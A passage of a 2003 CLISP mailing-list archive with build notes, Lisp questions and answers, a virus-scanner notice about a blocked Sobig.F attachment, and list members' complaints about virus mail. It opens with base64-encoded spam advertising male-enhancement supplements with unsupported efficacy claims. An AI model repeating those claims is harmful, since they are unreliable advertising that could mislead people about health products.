bGUgc2V4dWFsDQpwZXJmb3JtYW5jZS4gSW4gY2xpbmljYWwgc3R1ZGllcywg RW56eXRlIGhhcyBiZWVuPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQpzaG93biB0byBi ZSBzYWZlIGFuZCBlZmZlY3RpdmUgd2hpbGUgaW1wcm92aW5nIHNleHVhbCBw ZXJmb3JtYW5jZS4gRW56eXRlDQppbmNyZWFzZXMgZXJlY3Rpb24gc2l6ZSwg YWxvbmcgd2l0aCBzdHJvbmdlciwgZmlybWVyPC9mb250Pg0KPGJyPjxmb250 IHNpemU9KzE+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 DQplcmVjdGlvbnMgYW5kIGluY3JlYXNlZCBsaWJpZG8uIE1vc3QgbWVuIHVz aW5nIEVuenl0ZSByZXBvcnQgYW4gaW5jcmVhc2UNCmluIGVyZWN0aW9uIHNp emUgYW5kIGZ1bGxuZXNzIGZyb20gMTIlIHRvIDMxJSwgd2l0aDwvZm9udD4N Cjxicj48Zm9udCBzaXplPSsxPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOw0KYW5kIGF2ZXJhZ2Ugb2YgMjQlLiBTdGFtaW5hLVJ4IGlz IGFuIGFjdHVhbCBpbXByb3ZlZCBmb3JtdWxhIHdoZW4gY29tcGFyZWQNCnRv IEVuenl0ZSBvZmZlcmluZyBzb21lIGFkZGVkIGJlbmVmaXRzLjwvZm9udD4N Cjxicj48Zm9udCBzaXplPSsxPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOw0KVGhvdWdoIGJvdGggZm9ybXVsYXRpb25zIHVzZSB0aGUg c2FtZSBoaWdoIHF1YWxpdHkgaW5ncmVkaWVudHMsIG9ubHkgPHU+PGZvbnQg Y29sb3I9IiNGRjY2NjYiPlN0YW1pbmEtUng8L2ZvbnQ+PC91Pg0KdXNlcyBh ZGRpdGlvbmFsIGluZ3JlZGllbnRzIHRvIGFzc3VyZTwvZm9udD4NCjxicj48 Zm9udCBzaXplPSsxPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOw0Kb3B0aW11bSBwZXJmb3JtYW5jZSBhbmQgc2F0aXNmYWN0aW9uLjwv Zm9udD4NCjwvYm9keT4NCjwvaHRtbD4= From james.anderson@setf.de Tue Aug 26 00:48:19 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19rYYt-0000fQ-00 for ; Tue, 26 Aug 2003 00:48:19 -0700 Received: from postman4.arcor-online.net ([151.189.0.189] helo=postman.arcor.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 19rYYr-00084H-7J for clisp-list@lists.sourceforge.net; Tue, 26 Aug 2003 00:48:17 -0700 Received: from setf.de (dsl-213-023-141-092.arcor-ip.net [213.23.141.92]) (authenticated bits=0) by postman.arcor.de (8.12.9/8.12.9) with ESMTP id h7Q7m3Ze009969 for ; Tue, 26 Aug 2003 09:48:03 +0200 (MEST) Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <904F53CF-D799-11D7-A07A-000393BB8814@setf.de> X-Mailer: Apple Mail (2.552) X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 This mail is probably spam. The original message has been attached along with this report, so you can recognize or block similar unwanted mail in future. See http://spamassassin.org/tag/ for more details. Content preview: as one data-point i have now happened to get clisp to compile. i enclose a transcript below, in case it might help someone else sort this out. note that - the 08-25 snapshot made a difference here. previous attempts with the 08-17 snapshot did not succeed, - ./configure without '--without-dynamic-ffi' left the build directory in a state where a subsequent ./configure failed whether the ffi was enabled or not. [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_APPLEMAIL (0.0 points) X-Mailer header indicates a non-spam MUA (Apple Mail) IN_REP_TO (-0.5 points) Has a In-Reply-To header Subject: [clisp-list] Re: Compiling CLISP on MacOSX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 26 00:55:31 2003 X-Original-Date: Tue, 26 Aug 2003 09:47:38 +0200 as one data-point i have now happened to get clisp to compile. i enclose a transcript below, in case it might help someone else sort this out. note that - the 08-25 snapshot made a difference here. previous attempts with the 08-17 snapshot did not succeed, - ./configure without '--without-dynamic-ffi' left the build directory in a state where a subsequent ./configure failed whether the ffi was enabled or not. osx : 10.2.6 apple devtools: Dec2002DevToolsCD.dmg.bin + Dec2002gccUpdater.dmg.bin clisp : http://cvs2.cons.org/ftp-area/clisp/snapshots/clisp-2003-08-25.tgz [[[ edit of withDec2002gcc/Makefile #CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-fra\ me-pointer -Wno-sign-compare -O2 -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-fram\ e-pointer -Wno-sign-compare -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV ]]] [localhost:Source/clisp/clisp-2003-08-25] janson% gcc_select Current default compiler: gcc version 3.3 20030304 (Apple Computer, Inc. build 1435) [localhost:Source/clisp/clisp-2003-08-25] janson% mkdir withDec2002gcc [localhost:Source/clisp/clisp-2003-08-25] janson% printenv HOME=/Users/janson SHELL=/bin/tcsh USER=janson PATH=/sw/bin:/sw/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin __CF_USER_TEXT_ENCODING=0x1F5:0:0 TERM=vt100 TERMCAP=\277\377\330 TERM_PROGRAM=Apple_Terminal TERM_PROGRAM_VERSION=81 LOGNAME=janson HOSTTYPE=macintosh VENDOR=apple OSTYPE=darwin MACHTYPE=powerpc SHLVL=1 PWD=/Development/Source/clisp/clisp-2003-08-25 GROUP=staff HOST=localhost MANPATH=/sw/share/man:/sw/man:/usr/local/share/man:/usr/local/man:/usr/ share/man:/usr/X11R6/man INFOPATH=/sw/share/info:/sw/info:/usr/local/share/info:/usr/local/lib/ info:/usr/local/info:/usr/share/info PERL5LIB=/sw/lib/perl5 CVSROOT=/Volumes/raidin.tschichold/SourceRepository CONFIG_SHELL=/bin/bash [localhost:Source/clisp/clisp-2003-08-25] janson% limit stacksize 8192 [localhost:Source/clisp/clisp-2003-08-25] janson% ls ANNOUNCE acorn doc os2 win32msvc COPYRIGHT amiga emacs src withDec2002gcc GNU-GPL benchmarks ffcall tests INSTALL clisp.lsm libcharset unix Makefile.devel clisp.spec modules utils SUMMARY configure nextapp win32bc [localhost:Source/clisp/clisp-2003-08-25] janson% ./configure --without-dynamic-ffi withDec2002gcc executing /Development/Source/clisp/clisp-2003-08-25/withDec2002gcc/configure -- ... config.status: creating config.h To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd withDec2002gcc ./makemake > Makefile make config.lisp vi config.lisp make make check [localhost:Source/clisp/clisp-2003-08-25] janson% which instructions were then adequate to build an image. a note to the script and documentation authors: the passage in unix/PLATFORMS on osx could be clearer FFI does not work yet, you will have to ignore the "avcall-*.h" errors in ./configure. could say to use the '--without-dynamic-ffi' option with ./configure. i was getting errors trying to compile a ".d" file for the rs6000, the insignificance of which is not clearly implied by the above passage. Dec2002 Developer tools with the gcc 3.3 update work OOTB, but older versions of GCC might require the `--traditional-cpp' option. If you get weird compilation errors (like #else mismatch), try it. i appears as though the '--traditional-cpp' was not longer available as of the 08-17 snapshot, yet the preprocessor errors persisted even with Dec2002gccUpdater.dmg.bin installed. the 08-25 snapshot made a difference. ... From info@dominion.nl Tue Aug 26 02:44:11 2003 Received: from ip-space.by.proserve.nl ([80.84.235.16] helo=ns5.dominion.nl) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19rN70-0006zC-00 for ; Mon, 25 Aug 2003 12:34:46 -0700 Received: (from root@localhost) by ns5.dominion.nl (8.10.2/8.10.2) id h7PJa2E14425; Mon, 25 Aug 2003 21:36:02 +0200 Message-Id: <200308251936.h7PJa2E14425@ns5.dominion.nl> From: "MailScanner" To: Subject: [clisp-list] Warning: E-mail viruses detected Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 26 06:32:48 2003 X-Original-Date: Mon, 25 Aug 2003 21:36:02 +0200 Our virus detector has just been triggered by a message you sent:- To: Subject: Your details Date: Mon Aug 25 21:36:02 2003 Any infected parts of the message have not been delivered. This message is simply to warn you that your computer system may have a virus present and should be checked. The virus detector said this about the message: Report: h7PJYhB14300/movie0045.pif Infection: W32/Sobig.F@mm Shortcuts to MS-Dos programs are very dangerous in email (movie0045.pif) -- MailScanner Email Virus Scanner www.mailscanner.info From xemacweb@tux.org Tue Aug 26 08:08:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19rfRJ-0005Ju-00 for ; Tue, 26 Aug 2003 08:08:57 -0700 Received: from gwyn.tux.org ([199.184.165.135] ident=ident-user) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19rfRI-0008Up-Nz for clisp-list@lists.sourceforge.net; Tue, 26 Aug 2003 08:08:56 -0700 Received: (from xemacweb@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id h7QF8pI08582; Tue, 26 Aug 2003 11:08:51 -0400 From: XEmacs Webmaster Message-Id: <200308261508.h7QF8pI08582@gwyn.tux.org> To: clisp-list@lists.sourceforge.net References: <200308261508.h7QF8p108574@gwyn.tux.org> In-Reply-To: <200308261508.h7QF8p108574@gwyn.tux.org> X-Loop: xemacweb@tux.org Precedence: junk X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 This mail is probably spam. The original message has been attached along with this report, so you can recognize or block similar unwanted mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Thank you for your email to webmaster@xemacs.org. This is an automatically generated message. While all messages are read by a human, we are unable to directly respond to all mail sent to this address -- instead, we answer messages that pertain to the xemacs.org web site or the XEmacs FAQ. We will answer such messages, but there may be a delay as we are staffed by volunteers. [...] Content analysis details: (-1.00 points, 5 required) X_LOOP (0.0 points) Has a X-Loop header IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] Re: Your application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 26 08:11:31 2003 X-Original-Date: Tue, 26 Aug 2003 11:08:51 -0400 Thank you for your email to webmaster@xemacs.org. This is an automatically generated message. While all messages are read by a human, we are unable to directly respond to all mail sent to this address -- instead, we answer messages that pertain to the xemacs.org web site or the XEmacs FAQ. We will answer such messages, but there may be a delay as we are staffed by volunteers. If you're looking for general XEmacs help, please start with the XEmacs web site, and especially the XEmacs FAQ: The best forum for general XEmacs questions is the USENET newsgroup `comp.emacs.xemacs' -- If you don't have USENET access, you can post your message by sending it to `xemacs@xemacs.org' which is a mail to news gateway. There is a searchable archive of this list available, which may prove helpful in determining if other people have had similar problems: Thank you, and good luck, The XEmacs Web Team From phalgune@jasper03.CS.ORST.EDU Wed Aug 27 11:47:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19s5KG-0003E8-00 for ; Wed, 27 Aug 2003 11:47:24 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19s5KF-0008Ir-Im for clisp-list@lists.sourceforge.net; Wed, 27 Aug 2003 11:47:23 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7RIlDaD021479; Wed, 27 Aug 2003 11:47:13 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7RIlCuA003352; Wed, 27 Aug 2003 11:47:12 -0700 (PDT) From: amit phalgune To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: <63B272BD-D5B3-11D7-BAD6-000393030214@mac.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar unwanted mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, Does anyone know how to get the current directory using clisp. There is a current-directory function in Allegro CL. Does CLISP have a similar function. Amit [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] Determine current directory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 27 12:27:41 2003 X-Original-Date: Wed, 27 Aug 2003 11:47:12 -0700 (PDT) Hi, Does anyone know how to get the current directory using clisp. There is a current-directory function in Allegro CL. Does CLISP have a similar function. Amit From hin@van-halen.alma.com Wed Aug 27 12:41:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19s6AV-0007Wt-00 for ; Wed, 27 Aug 2003 12:41:23 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19s6AV-00046g-5c for clisp-list@lists.sourceforge.net; Wed, 27 Aug 2003 12:41:23 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 2404E10DE19; Wed, 27 Aug 2003 15:41:11 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7RJfA7G008315; Wed, 27 Aug 2003 15:41:10 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7RJfAVC008312; Wed, 27 Aug 2003 15:41:10 -0400 Message-Id: <200308271941.h7RJfAVC008312@van-halen.alma.com> From: "John K. Hinsdale" To: phalgune@cs.orst.edu Cc: sds@gnu.org, clisp-list@lists.sourceforge.net In-reply-to: (message from amit phalgune on Wed, 27 Aug 2003 11:47:12 -0700 (PDT)) Subject: Re: [clisp-list] Determine current directory X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > Does anyone know how to get the current directory using clisp. > > There is a current-directory function in Allegro CL. Does CLISP have a > similar function. Check the TOC of implementation notes at: [...] Content analysis details: (-0.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 27 12:42:52 2003 X-Original-Date: Wed, 27 Aug 2003 15:41:10 -0400 > Does anyone know how to get the current directory using clisp. > > There is a current-directory function in Allegro CL. Does CLISP have a > similar function. Check the TOC of implementation notes at: http://clisp.sourceforge.net/impnotes/ There is a link from there to Chapter 20, "Files" http://clisp.sourceforge.net/impnotes/files.html In section 20.1.1 "Function DIRECTORY" is described a function EXT:CD which will return the current directory, or, with an argument will set it. Many, many other questions can be answered by scanning these implementation notes. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lin8080@freenet.de Wed Aug 27 12:44:28 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19s6DT-00019g-00 for ; Wed, 27 Aug 2003 12:44:27 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19s6DO-0006yg-4o for clisp-list@lists.sourceforge.net; Wed, 27 Aug 2003 12:44:22 -0700 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout1.freenet.de with asmtp (Exim 4.21) id 19s6DI-0002mc-84 for clisp-list@lists.sourceforge.net; Wed, 27 Aug 2003 21:44:16 +0200 Received: from b76d5.pppool.de ([213.7.118.213] helo=freenet.de) by mx4.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.21 #5) id 19s6DH-0007n2-It for clisp-list@lists.sourceforge.net; Wed, 27 Aug 2003 21:44:15 +0200 Message-ID: <3F4D18A5.5E6CE64A@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Please make sure your machine is virus clean! Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: 0.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Marco Antoniotti schrieb > I am getting a lot of virus infected stuff on clisp-list. So do I. 6mb emails, pfff this never happend before. Maybe it is when I click on the answer (Antwort) button, netscape open a new message addressed to the author, not to the clisp-list? Then the virus goes to list-members? [...] Content analysis details: (0.60 points, 5 required) FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header USER_AGENT_MOZILLA_XM (0.0 points) X-Mailer header indicates a non-spam MUA (Netscape) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 27 12:46:13 2003 X-Original-Date: Wed, 27 Aug 2003 22:46:29 +0200 Marco Antoniotti schrieb > I am getting a lot of virus infected stuff on clisp-list. So do I. 6mb emails, pfff this never happend before. Maybe it is when I click on the answer (Antwort) button, netscape open a new message addressed to the author, not to the clisp-list? Then the virus goes to list-members? But thanks to Sam, that he looks for such things. stefan From phalgune@jasper01.CS.ORST.EDU Thu Aug 28 19:29:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19sZ0w-00020L-00 for ; Thu, 28 Aug 2003 19:29:26 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19sZ0w-0007ub-GJ for clisp-list@lists.sourceforge.net; Thu, 28 Aug 2003 19:29:26 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7T2TCaD015956; Thu, 28 Aug 2003 19:29:12 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7T2TATp006907; Thu, 28 Aug 2003 19:29:11 -0700 (PDT) From: amit phalgune To: "John K. Hinsdale" cc: sds@gnu.org, clisp-list@lists.sourceforge.net In-Reply-To: <200308271941.h7RJfAVC008312@van-halen.alma.com> Message-ID: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi , There is an error I am facing. I have digged into the error and looks like CLISP does not support any other method-combination other than STANDARD. Now our code uses a defgeneric with the method-combination as "progn".( which looks like a customized method-combination for defgeneric. [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] defgenric Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 28 19:30:03 2003 X-Original-Date: Thu, 28 Aug 2003 19:29:10 -0700 (PDT) Hi , There is an error I am facing. I have digged into the error and looks like CLISP does not support any other method-combination other than STANDARD. Now our code uses a defgeneric with the method-combination as "progn".( which looks like a customized method-combination for defgeneric. (defgeneric destroy (a) (:method-combination progn)) I am new to LISP and so I am not sure what exactly is defgeneric used for. Also CLISP supports only STANDARD method-combination. Is progn used above a customized method combination. How can I get a work around so that the above code works fine in CLISP. Thanks in advance, Amit From svref@yahoo.com Thu Aug 28 19:57:12 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19sZRo-0008UE-00 for ; Thu, 28 Aug 2003 19:57:12 -0700 Received: from dsl093-230-014.lou1.dsl.speakeasy.net ([66.93.230.14] helo=ork.bomberlan.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19sZRn-0002Cw-R7 for clisp-list@lists.sourceforge.net; Thu, 28 Aug 2003 19:57:12 -0700 Received: from localhost ([127.0.0.1] helo=yahoo.com) by ork.bomberlan.net with esmtp (Exim 3.35 #1 (Debian)) id 19sZRk-0006pG-00; Thu, 28 Aug 2003 22:57:08 -0400 Message-ID: <3F4EC104.6090303@yahoo.com> From: David Morse User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: amit phalgune CC: clisp Subject: Re: [clisp-list] defgenric References: <200308271941.h7RJfAVC008312@van-halen.alma.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.3 (/) X-Spam-Report: -0.3/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune wrote: > Hi , > There is an error I am facing. I > have digged into the error and looks like CLISP does not support any > other > method-combination other than STANDARD. > > Now our code uses a defgeneric with the > method-combination as "progn".( which looks like a customized > method-combination for defgeneric. > > (defgeneric destroy (a) (:method-combination progn)) > I am new to LISP and so I am not sure what exactly is defgeneric used > for. Also CLISP supports only STANDARD method-combination. Is progn used > above a customized method combination. How can I get a work around so that > the above code works fine in CLISP. > > Thanks in advance, > Amit [...] Content analysis details: (-0.30 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text FORGED_YAHOO_RCVD (2.3 points) 'From' yahoo.com does not match 'Received' headers REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 28 19:58:02 2003 X-Original-Date: Thu, 28 Aug 2003 22:57:08 -0400 amit phalgune wrote: > Hi , > There is an error I am facing. I > have digged into the error and looks like CLISP does not support any > other > method-combination other than STANDARD. > > Now our code uses a defgeneric with the > method-combination as "progn".( which looks like a customized > method-combination for defgeneric. > > (defgeneric destroy (a) (:method-combination progn)) > I am new to LISP and so I am not sure what exactly is defgeneric used > for. Also CLISP supports only STANDARD method-combination. Is progn used > above a customized method combination. How can I get a work around so that > the above code works fine in CLISP. > > Thanks in advance, > Amit The easiest thing, since you probably have full sources, is to go through all (defmethod destroy progn ((... calls, take out the word "progn", then put a (call-next-method) at the beginning (or is it the end?) of each defmethod body. --David))) From pascal@informatimago.com Thu Aug 28 20:23:37 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19sZrN-0002NQ-00 for ; Thu, 28 Aug 2003 20:23:37 -0700 Received: from thalassa.informatimago.com ([195.114.85.198]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19sZrL-00030W-L6 for clisp-list@lists.sourceforge.net; Thu, 28 Aug 2003 20:23:37 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 6C4FBB62A7; Fri, 29 Aug 2003 05:23:11 +0200 (CEST) Message-ID: <16206.50975.394279.986301@thalassa.informatimago.com> To: David Morse Cc: amit phalgune , clisp Subject: Re: [clisp-list] defgenric In-Reply-To: <3F4EC104.6090303@yahoo.com> References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 